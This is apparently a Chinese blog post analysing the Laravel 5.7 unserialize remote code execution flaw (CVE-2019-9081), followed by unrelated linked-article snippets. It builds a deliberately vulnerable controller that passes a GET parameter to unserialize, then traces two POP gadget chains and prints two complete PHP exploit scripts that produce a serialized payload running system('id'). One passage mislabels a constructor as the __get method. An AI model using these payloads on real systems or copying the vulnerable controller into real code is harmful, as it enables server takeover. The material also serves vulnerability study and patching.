Laravel 代码审计

环境搭建

  • Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242

  • Composer 下载 : wget https://getcomposer.org/download/1.8.6/composer.phar 获取 composer.phar

  • 参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravel

  • composer create-project laravel/laravel laravel57 "5.7.*" 安装 Laravel 5.7 并生成 laravel57 项目

  • 进入项目文件夹,使用 php artisan serve 启动 web 服务

  • laravel57/routes/web.php 文件添加路由

    1. Route::get("/","\App\Http\Controllers\DemoController@demo");
  • laravel57/app/Http/Controllers/ 下添加 DemoController 控制器

    1. namespace App\Http\Controllers;
    2. class DemoController
    3. {
    4. public function demo()
    5. {
    6. if(isset($_GET['c'])){
    7. $code = $_GET['c'];
    8. unserialize($code);
    9. return "peri0d";
    10. }
    11. }
    12. }

Laravel 项目文件夹结构

  • app : 包含了应用的核心代码

    • Broadcasting : 包含应用程序的所有广播频道类,默认不存在
    • Console : 包含了所有自定义的 Artisan 命令
    • Events : 存放了 事件类。可以使用事件来提醒应用其他部分发生了特定的操作,使应用程序更加的灵活和解耦。默认不存在
    • Exceptions : 包含了应用的异常处理器,也是应用抛出异常的好地方
    • Http : 包含了控制器、中间件和表单请求。几乎所有的进入应用的请求的处理逻辑都被放在这里
    • Jobs : 存放了应用中的 队列任务 。 应用的任务可以被推送到队列或者在当前请求的生命周期内同步运行。在当前请求期间同步运行的任务可以看做是一个「命令」,因为它们是 命令模式 的实现。默认不存在
    • Listeners : 包含了用来处理 事件 的类。事件监听器接收事件实例并执行响应该事件被触发的逻辑。默认不存在
    • Mail : 包含应用所有的邮件发送类。默认不存在
    • Notifications : 包含应用发送的所有「业务性」通知,比如关于在应用中发生的事件的简单通知。默认不存在
    • Policies : 包含了应用的授权策略类。策略可以用来决定一个用户是否有权限去操作指定资源。默认不存在
    • Providers : 包含应用的所有服务提供者。服务提供者通过在服务容器中绑定服务、注册事件、以及执行其他任务来为即将到来的请求做准备来启动应用。
    • Rules : 包含应用自定义验证规则对象。这些规则意在将复杂的验证逻辑封装在一个简单的对象中。默认不存在
  • bootstrap : 包含启动框架的 app.php ,还包含 cache 目录,其下存放框架生成的用来提升性能的文件,比如路由和服务缓存文件
  • config : 包含应用程序所有的配置文件
  • database : 包含数据填充和迁移文件以及模型工厂类
  • public : 包含入口文件 index.php,它是进入应用程序的所有请求的入口点。还包含一些资源文件,比如图片、JS 和 CSS
  • resources : 包含了视图和未编译的资源文件(如 LESS、SASS 或 JavaScript )。此目录还包含所有的语言文件
  • routes : 包含了应用的所有路由定义
  • storage : 包含编译后的 Blade 模板、session 会话生成的文件、缓存文件以及框架生成的其他文件
  • tests : 包含自动化测试文件
  • vendor : 包含所有的 Composer 依赖包,其中也包含了 Laravel 源码

第一种漏洞分析

  • 漏洞触发点位于 Illuminate/Foundation/Testing/PendingCommand.php 中的 run 方法,该文件的功能就是命令执行并获取输出,PendingCommand.php 又定义了 __destruct() 方法,思路就是构造 payload 触发 __destruct() 方法进而调用 run 方法实现 rce

  • 根据已有的 exp 来看,PendingCommand 类的属性如下

    1. $this->app; // 一个实例化的类 Illuminate\Foundation\Application
    2. $this->test; // 一个实例化的类 Illuminate\Auth\GenericUser
    3. $this->command; // 要执行的php函数 system
    4. $this->parameters; // 要执行的php函数的参数 array('id')
  • unserialize($code) 处下断点调试,观察调用栈,发现有几个加载函数,spl_autoload_call()Illuminate\Foundation\AliasLoader->load()Composer\Autoload\ClassLoader->loadClass()Composer\Autoload\includeFile()

  • 在加载完所需要的类后,会进入 PendingCommand 类的 __destruct() 方法。由于 hasExecuted 默认是 false,所以会去执行 run() 函数,run() 函数会在第 8 行执行命令,其代码如下

    1. public function run()
    2. {
    3. $this->hasExecuted = true;
    4. $this->mockConsoleOutput();
    5. try {
    6. $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    7. } catch (NoMatchingExpectationException $e) {
    8. if ($e->getMethodName() === 'askQuestion') {
    9. $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
    10. }
    11. throw $e;
    12. }
  • run() 中首先执行了 mockConsoleOutput() ,该函数主要功能就是模拟控制台输出,此时又会加载一些所需要的类。代码如下

    1. protected function mockConsoleOutput()
    2. {
    3. $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
    4. foreach ($this->test->expectedQuestions as $i => $question) {
    5. $mock->shouldReceive('askQuestion')
    6. ->once()
    7. ->ordered()
    8. ->with(Mockery::on(function ($argument) use ($question) {
    9. return $argument->getQuestion() == $question[0];
    10. }))
    11. ->andReturnUsing(function () use ($question, $i) {
    12. unset($this->test->expectedQuestions[$i]);
    13. return $question[1];
    14. });
    15. }
    16. $this->app->bind(OutputStyle::class, function () use ($mock) {
    17. return $mock;
    18. });
    19. }
  • mockConsoleOutput() 中又调用了 createABufferedOutputMock() 。在 createABufferedOutputMock() 函数中,首先调用 mock() 函数,它的作用主要是进行对象模拟。然后进入循环,要遍历 $this->test 类的 expectedOutput 属性,但是在可以实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发 __get() ,通过去触发 __get() 方法去进一步构造 pop 链。

    1. private function createABufferedOutputMock()
    2. {
    3. $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
    4. ->shouldAllowMockingProtectedMethods()
    5. ->shouldIgnoreMissing();
    6. foreach ($this->test->expectedOutput as $i => $output) {
    7. $mock->shouldReceive('doWrite')
    8. ->once()
    9. ->ordered()
    10. ->with($output, Mockery::any())
    11. ->andReturnUsing(function () use ($i) {
    12. unset($this->test->expectedOutput[$i]);
    13. });
    14. }
    15. return $mock;
    16. }
  • 这里选择 Illuminate\Auth\GenericUser,其 __get() 魔术方法如下

    1. public function __get($key)
    2. {
    3. return $this->attributes[$key];
    4. }
  • 此时 $this->test 是我们传入的 Illuminate\Auth\GenericUser 的实例化对象,则 $this->attributes[$key] 通过反序列化是可控的,因此我们可以构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组

  • 回到 mockConsoleOutput() 中,又进行了一次 for 循环,调用了 $this->test->expectedQuestions ,循环体与 createABufferedOutputMock() 大致相同,所以可以构造 $this->attributes键名为expectedQuestions的数组绕过

  • 然后就可以走出 mockConsoleOutput() 方法,进入命令执行的关键点 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); ,这里 Kernel::class 是个固定值,为 Illuminate\Contracts\Console\Kernel ,这里需要搞清楚 $this->app[Kernel::class] ,可以得到如下的函数调用顺序

    • Container.php:1222, Illuminate\Foundation\Application->offsetGet()

      1. // key = Illuminate\Contracts\Console\Kernel
      2. public function offsetGet($key)
      3. {
      4. return $this->make($key);
      5. }
    • Application.php:751, Illuminate\Foundation\Application->make()

      1. // abstract = Illuminate\Contracts\Console\Kernel
      2. public function make($abstract, array $parameters = [])
      3. {
      4. $abstract = $this->getAlias($abstract);
      5. if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
      6. $this->loadDeferredProvider($abstract);
      7. }
      8. return parent::make($abstract, $parameters);
      9. }
    • Container.php:609, Illuminate\Foundation\Application->make()

      1. // abstract = Illuminate\Contracts\Console\Kernel
      2. public function make($abstract, array $parameters = [])
      3. {
      4. return $this->resolve($abstract, $parameters);
      5. }
    • Container.php:652, Illuminate\Foundation\Application->resolve()

      1. // abstract = Illuminate\Contracts\Console\Kernel
      2. protected function resolve($abstract, $parameters = [])
      3. {
      4. $abstract = $this->getAlias($abstract);
      5. $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
      6. if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
      7. return $this->instances[$abstract];
      8. }
      9. $this->with[] = $parameters;
      10. $concrete = $this->getConcrete($abstract);
      11. // concrete = Illuminate\Foundation\Application
      12. if ($this->isBuildable($concrete, $abstract)) {
      13. $object = $this->build($concrete);
      14. } else {
      15. $object = $this->make($concrete);
      16. }
      17. foreach ($this->getExtenders($abstract) as $extender) {
      18. $object = $extender($object, $this);
      19. }
      20. if ($this->isShared($abstract) && ! $needsContextualBuild) {
      21. $this->instances[$abstract] = $object;
      22. }
      23. $this->fireResolvingCallbacks($abstract, $object);
      24. $this->resolved[$abstract] = true;
      25. array_pop($this->with);
      26. return $object;
      27. }
    • Container.php:697, Illuminate\Foundation\Application->getConcrete()

      1. // abstract = Illuminate\Contracts\Console\Kernel
      2. protected function getConcrete($abstract)
      3. {
      4. if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
      5. return $concrete;
      6. }
      7. if (isset($this->bindings[$abstract])) {
      8. return $this->bindings[$abstract]['concrete'];
      9. }
      10. return $abstract;
      11. }
  • getConcrete()方法中出了问题,导致可以利用 php 的反射机制实例化任意类。在 getConcrete() 方法中,判断 $this->bindings[$abstract]) 是否存在,若存在则返回 $this->bindings[$abstract]['concrete']bindingsContainer.phpContainer 类的属性,因此我们只需要找到一个继承自 Container 的类,就可以通过反序列化控制 $this->bindings 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstractIlluminate\Contracts\Console\Kernel ,只需通过反序列化定义 Illuminate\Foundation\Application$bindings 属性存在键名为 Illuminate\Contracts\Console\Kernel 的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。

  • 在实例化 Application类 的时候, 要满足 isBuildable() 才可以进行 build

    1. protected function isBuildable($concrete, $abstract)
    2. {
    3. return $concrete === $abstract || $concrete instanceof Closure;
    4. }
  • 此时明显不满足条件,所以接着执行 $object = $this->make($concrete); ,在 make() 函数中成功将 $abstract 重新赋值为 Illuminate\Foundation\Application,从而成功绕过 isBuildable() 函数,进入 $this->build 方法,就能看到使用ReflectionClass反射机制,实例化我们传入的类。

  • 在返回一个 Illuminate\Foundation\Application 对象之后,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 又调用了 call() 方法,由于 Illuminate\Foundation\Application 没有 call() 方法,所以会调用父类 Illuminate\Container\Containercall() 方法。

    1. public function call($callback, array $parameters = [], $defaultMethod = null)
    2. {
    3. return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    4. }
  • 跟进 BoundMethod::call()

    1. public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    2. {
    3. if (static::isCallableWithAtSign($callback) || $defaultMethod) {
    4. return static::callClass($container, $callback, $parameters, $defaultMethod);
    5. }
    6. return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
    7. return call_user_func_array(
    8. $callback, static::getMethodDependencies($container, $callback, $parameters)
    9. );
    10. });
    11. }
  • isCallableWithAtSign() 处判断回调函数是否为字符串并且其中含有 @ ,并且 $defaultMethod 默认为 null,很明显不满足条件,进入 callBoundMethod() ,该函数只是判断 $callback 是否为数组。后面的匿名函数直接调用 call_user_func_array() ,并且第一个参数我们可控,参数值为 system ,第二个参数由 getMethodDependencies() 方法返回。跟进 getMethodDependencies()

    1. protected static function getMethodDependencies($container, $callback, array $parameters = [])
    2. {
    3. $dependencies = [];
    4. foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
    5. static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    6. }
    7. return array_merge($dependencies, $parameters);
    8. }
  • getCallReflector() 用于反射获取 $callback 的对象, 然后执行 addDependencyForCallParameter()$callback 的对象添加一些参数,最后将我们传入的 $parameters 数组和 $dependencies 数组合并, $dependencies 数组为空。最后相当于执行了 call_user_func_array('system',array('id'))

  • exp

    1. <?php
    2. // gadgets.php
    3. namespace Illuminate\Foundation\Testing{
    4. class PendingCommand{
    5. protected $command;
    6. protected $parameters;
    7. protected $app;
    8. public $test;
    9. public function __construct($command, $parameters,$class,$app)
    10. {
    11. $this->command = $command;
    12. $this->parameters = $parameters;
    13. $this->test=$class;
    14. $this->app=$app;
    15. }
    16. }
    17. }
    18. namespace Illuminate\Auth{
    19. class GenericUser{
    20. protected $attributes;
    21. public function __construct(array $attributes){
    22. $this->attributes = $attributes;
    23. }
    24. }
    25. }
    26. namespace Illuminate\Foundation{
    27. class Application{
    28. protected $hasBeenBootstrapped = false;
    29. protected $bindings;
    30. public function __construct($bind){
    31. $this->bindings=$bind;
    32. }
    33. }
    34. }
    35. ?>
    1. <?php
    2. // chain.php
    3. $genericuser = new Illuminate\Auth\GenericUser(
    4. array(
    5. "expectedOutput"=>array("0"=>"1"),
    6. "expectedQuestions"=>array("0"=>"1")
    7. )
    8. );
    9. $application = new Illuminate\Foundation\Application(
    10. array(
    11. "Illuminate\Contracts\Console\Kernel"=>
    12. array(
    13. "concrete"=>"Illuminate\Foundation\Application"
    14. )
    15. )
    16. );
    17. $exp = new Illuminate\Foundation\Testing\PendingCommand(
    18. "system",array('id'),
    19. $genericuser,
    20. $application
    21. );
    22. echo urlencode(serialize($exp));
    23. ?>
  • 调用栈分析 :

    1. Illuminate\Foundation\Testing\PendingCommand->__destruct()
    2. $test = Illuminate\Auth\GenericUser
    3. attributes = array(
    4. "expectedOutput"=>array("0"=>"1"),
    5. "expectedQuestions"=>array("0"=>"1")
    6. )
    7. $app = Illuminate\Foundation\Application
    8. array(
    9. "Illuminate\Contracts\Console\Kernel" =>
    10. array(
    11. array("concrete"=>"Illuminate\Foundation\Application")
    12. )
    13. )
    14. $command = "system"
    15. $parameters = array("id")
    16. Illuminate\Foundation\Testing\PendingCommand->run()
    17. Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
    18. Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
    19. // 在 foreach 中访问 expectedOutput 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
    20. Illuminate\Auth\GenericUser->__get()
    21. // return attributes["expectedOutput"]
    22. // return array("0"=>"1")
    23. // 在 foreach 中访问 expectedQuestions 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
    24. Illuminate\Auth\GenericUser->__get()
    25. // return attributes["expectedQuestions"]
    26. // return array("0"=>"1")
    27. // Application 继承了 Container 所以这相当于执行父类的 offsetGet()
    28. Illuminate\Foundation\Application->offsetGet()
    29. // key : Illuminate\Contracts\Console\Kernel
    30. Illuminate\Foundation\Application->make()
    31. // abstract : Illuminate\Contracts\Console\Kernel
    32. Illuminate\Foundation\Application->make()
    33. // abstract : Illuminate\Contracts\Console\Kernel
    34. Illuminate\Foundation\Application->resolve()
    35. // abstract : Illuminate\Contracts\Console\Kernel
    36. Illuminate\Foundation\Application->getConcrete()
    37. // $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application
    38. Illuminate\Foundation\Application->call()
    39. Illuminate\Container\BoundMethod->call()
    40. Illuminate\Container\BoundMethod->getMethodDependencies()

第二种漏洞分析

  • 同样的,在 PendingCommand 类的 mockConsoleOutput() 函数处,去触发 __get() 方法构造 pop 链,这里选择 Faker\DefaultGenerator 类,其 __get() 方法如下 :

    1. public function __construct($default = null)
    2. {
    3. $this->default = $default;
    4. }
  • 同样的方法绕过 mockConsoleOutput() 函数,运行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 处。只不过这次的关注点在于 resolve() 函数的 $this->instances[$abstract]

    1. // abstract = Illuminate\Contracts\Console\Kernel
    2. protected function resolve($abstract, $parameters = [])
    3. {
    4. $abstract = $this->getAlias($abstract);
    5. $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
    6. if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
    7. // 在这里返回一个可控的实例化对象
    8. return $this->instances[$abstract];
    9. }
    10. $this->with[] = $parameters;
    11. $concrete = $this->getConcrete($abstract);
    12. if ($this->isBuildable($concrete, $abstract)) {
    13. $object = $this->build($concrete);
    14. } else {
    15. $object = $this->make($concrete);
    16. }
    17. foreach ($this->getExtenders($abstract) as $extender) {
    18. $object = $extender($object, $this);
    19. }
    20. if ($this->isShared($abstract) && ! $needsContextualBuild) {
    21. $this->instances[$abstract] = $object;
    22. }
    23. $this->fireResolvingCallbacks($abstract, $object);
    24. $this->resolved[$abstract] = true;
    25. array_pop($this->with);
    26. return $object;
    27. }
  • instancesContainer.phpContainer 类的属性。因此我们只需要找到一个继承自 Container 的类,就可以通过反序列化控制 $this->instances 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstractIlluminate\Contracts\Console\Kernel ,只需通过反序列化定义 Illuminate\Foundation\Application$instances 属性存在键名为 Illuminate\Contracts\Console\Kernel 的数组就能返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。

  • 其余的就和第一种相同了,不同点在于构造可控实例化对象的方法不同

  • exp :

    1. <?php
    2. // gadgets.php
    3. namespace Illuminate\Foundation\Testing{
    4. class PendingCommand{
    5. protected $command;
    6. protected $parameters;
    7. protected $app;
    8. public $test;
    9. public function __construct($command, $parameters,$class,$app)
    10. {
    11. $this->command = $command;
    12. $this->parameters = $parameters;
    13. $this->test=$class;
    14. $this->app=$app;
    15. }
    16. }
    17. }
    18. namespace Faker{
    19. class DefaultGenerator{
    20. protected $default;
    21. public function __construct($default = null)
    22. {
    23. $this->default = $default;
    24. }
    25. }
    26. }
    27. namespace Illuminate\Foundation{
    28. class Application{
    29. protected $instances = [];
    30. public function __construct($instance){
    31. $this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
    32. }
    33. }
    34. }
    35. ?>
    1. <?php
    2. // chain.php
    3. $defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    4. $app = new Illuminate\Foundation\Application();
    5. $application = new Illuminate\Foundation\Application($app);
    6. $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application);
    7. echo urlencode(serialize($pendingcommand));
    8. ?>

思考

  • 代码调试的技巧
  • 函数调用栈的分析
  • 可控点的寻找

参考链接

Laravel 5.7 RCE (CVE-2019-9081)的更多相关文章

  1. Laravel 5.8 RCE 分析

    原帖地址 : https://xz.aliyun.com/t/6059 Laravel 代码审计 环境搭建 composer create-project --prefer-dist laravel/ ...

  2. CVE 2019 0708 安装重启之后 可能造成 手动IP地址丢失.

    1. 最近两天发现 更新了微软的CVE 2019-0708的补丁之后 之前设置的手动ip地址会变成 自动获取, 造成ip地址丢失.. 我昨天遇到两个, 今天同事又遇到一个.微软做补丁也不走心啊..

  3. CVE-2019-9081:laravel框架序列化RCE复现分析

    这里贴上两篇大佬的分析的帖子 本人习惯把平常的一些笔记或者好的帖子记录在自己的博客当中,便于之后遇到同样的漏洞时快速打开思路 1.https://xz.aliyun.com/t/5510#toc-8 ...

  4. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

  5. Debian Security Advisory(Debian安全报告) DSA-4414-1 libapache2-mod-auth-mellon security update

    Debian Security Advisory(Debian安全报告) DSA-4414-1 libapache2-mod-auth-mellon security update Package:l ...

  6. 2021 羊城杯WriteUP

    比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...

  7. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  8. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  9. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

随机推荐

  1. django中 对Mysql数据库的建表

    Django操作Mysql数据库: 1.1 在settings中,配置数据库相关参数,所以无需修改,这里我们看一下: DATABASES = { 'default': { # 这里可以指定使用的数据库 ...

  2. 从零搭建一个SpringCloud项目之Feign搭建

    从零搭建一个SpringCloud项目之Feign搭建 工程简述 目的:实现trade服务通过feign调用user服务的功能.因为trade服务会用到user里的一些类和接口,所以抽出了其他服务需要 ...

  3. Unity 游戏框架搭建 2019 (十八~二十) 概率函数 & GameObject 显示、隐藏简化 & 第二章 小结与快速复习

    在笔者刚做项目的时候,遇到了一个需求.第一个项目是一个跑酷游戏,而跑酷游戏是需要一条一条跑道拼接成的.每个跑道的长度是固定的,而怪物的出现位置也是在跑道上固定好的.那么怪物出现的概率决定一部分关卡的难 ...

  4. HFSS——平面正弦加载阿基米德螺旋线模型设计

    这学期开始进入HFSS的学习,这是软件应该是电磁相关专业必须掌握的软件之一.前几天图老师发布第一个模型设计任务,是关于平面正弦加载阿基米德螺旋线,拿到具体要求后,就去网上找资料,发现有关HFSS的资料 ...

  5. springboot集成通用mapper详细配置

    通常,我们利用mybatis写持久层方法.要么按照传统定义mapper方法,定义xml文件的方式,全部手写.要么需要通过mybatis-generator逆向工程插件生成大量的xxxExample文件 ...

  6. 解决POST乱码

    在web.xml中添加字符过滤器 问题即可解决 <!--如何整合过滤器处理中文乱码问题?--> <filter> <filter-name>EncodingFilt ...

  7. 国内 Java 开发者必备的两个装备,你配置上了么?

    虽然目前越来越多的国产优秀技术产品走出了国门,但是对于众领域的开发者来说,依然对于国外的各种基础资源依赖还是非常的强.所以,一些网络基本技能一直都是我们需要掌握的,但是速度与稳定性问题一直也都有困扰着 ...

  8. 第一次将本地项目push到github

    问题:github有一个空项目,将本地项目上传到github空项目时,报错如下 $ git push --set-upstream git@github.com:dslu7733/promise.gi ...

  9. X-Admin&ABP框架开发-版本管理

    多租户系统中,针对于不同租户开放不同功能,或是按照不同功能进行收费管理,需要从宿主本身去管理租户的版本信息,如同酒店人员对不同房间收取不同费用,依据房间内部设施,房间大小等设置不同收费标准.Abp系统 ...

  10. SpringBoot基础01-yaml配置文件

    1.配置文件 1)SpringBoot使用一个全局的配置文件,配置文件名是固定的: application.properties application.yml 2)配置文件的作用:修改SpringB ...